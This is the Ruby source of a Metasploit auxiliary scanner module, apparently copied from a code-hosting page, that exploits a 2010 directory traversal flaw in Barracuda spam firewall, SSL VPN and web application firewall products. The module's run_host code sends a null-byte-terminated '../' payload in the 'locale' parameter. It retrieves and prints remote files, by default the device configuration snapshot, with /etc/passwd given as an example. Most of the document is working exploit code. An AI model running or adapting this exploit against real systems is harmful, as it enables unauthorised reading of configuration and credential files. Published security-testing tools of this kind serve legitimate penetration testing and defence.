Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',13'Description' => %q{14This module exploits a directory traversal vulnerability present in15several Barracuda products, including the Barracuda Spam and Virus Firewall,16Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,17this module will attempt to download the Barracuda configuration file.18},19'References' =>20[21['OSVDB', '68301'],22['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],23['EDB', '15130']24],25'Author' =>26[27'Tiago Ferreira <tiago.ccna[at]gmail.com>'28],29'DisclosureDate' => 'Oct 08 2010',30'License' => MSF_LICENSE31)3233register_options(34[35Opt::RPORT(8000),36OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),37OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),38])39end4041def run_host(ip)42uri = normalize_uri(target_uri.path)43file = datastore['FILE']44payload = "?locale=/../../../../../../..#{file}%00"4546print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")4748res = send_request_raw(49{50'method' => 'GET',51'uri' => uri + payload,52}, 25)5354if res.nil?55print_error("#{full_uri} - Connection timed out")56return57end5859if (res.code == 200 and res.body)60if res.body.match(/\<html\>(.*)\<\/html\>/im)61html = $16263if res.body =~ /barracuda\.css/64if html.length > 10065file_data = html.gsub(%r{</?[^>]+?>}, '')6667print_good("#{full_uri} - Barracuda - Vulnerable")68print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")69else70print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")71end72elsif res.body =~ /help_page/73print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")74else75print_error("#{full_uri} - Barracuda - File not found or permission denied")76end77else78print_error("#{full_uri} - Barracuda - No HTML was returned")79end80else81print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")82end8384rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout85rescue ::Timeout::Error, ::Errno::EPIPE86end87end888990